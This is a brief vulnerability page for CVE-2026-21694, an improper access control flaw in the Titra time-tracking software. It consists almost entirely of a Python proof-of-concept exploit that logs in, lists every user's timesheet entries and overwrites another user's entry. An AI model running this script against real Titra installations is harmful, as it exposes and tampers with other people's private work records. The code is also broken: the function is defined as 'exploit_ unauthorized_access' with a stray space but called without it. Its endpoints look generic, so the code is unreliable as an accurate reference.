CVE-2026-21694 Titra不正确的访问控制漏洞

import requests import json # CVE-2026-21694 PoC - Titra Improper Access Control # Target: Titra <= 0.99.49 BASE_URL = "http://target-ip:3000" USERNAME = "[email protected]" PASSWORD = "password123" def login(): """Authenticate and get session cookie""" session = requests.Session() login_data = { "email": USERNAME, "password": PASSWORD } resp = session.post(f"{BASE_URL}/api/auth/login", json=login_data) return session if resp.status_code == 200 else None def exploit_ unauthorized_access(session): """Exploit improper access control to view other users' time entries""" # List all time entries (bypassing access control) headers = {"Content-Type": "application/json"} # Try to get time entries from private projects resp = session.get(f"{BASE_URL}/api/timesheet", headers=headers) if resp.status_code == 200: entries = resp.json() print(f"Found {len(entries)} time entries") for entry in entries: print(f"Entry ID: {entry.get('id')}, User: {entry.get('userId')}") # Try to modify another user's time entry entry_id = 123 # Target entry ID (enumerate or guess) modify_data = { "hours": 99, "description": "Modified by attacker" } resp = session.put(f"{BASE_URL}/api/timesheet/{entry_id}", json=modify_data, headers=headers) print(f"Modification attempt: {resp.status_code}") if __name__ == "__main__": session = login() if session: exploit_unauthorized_access(session) else: print("Login failed")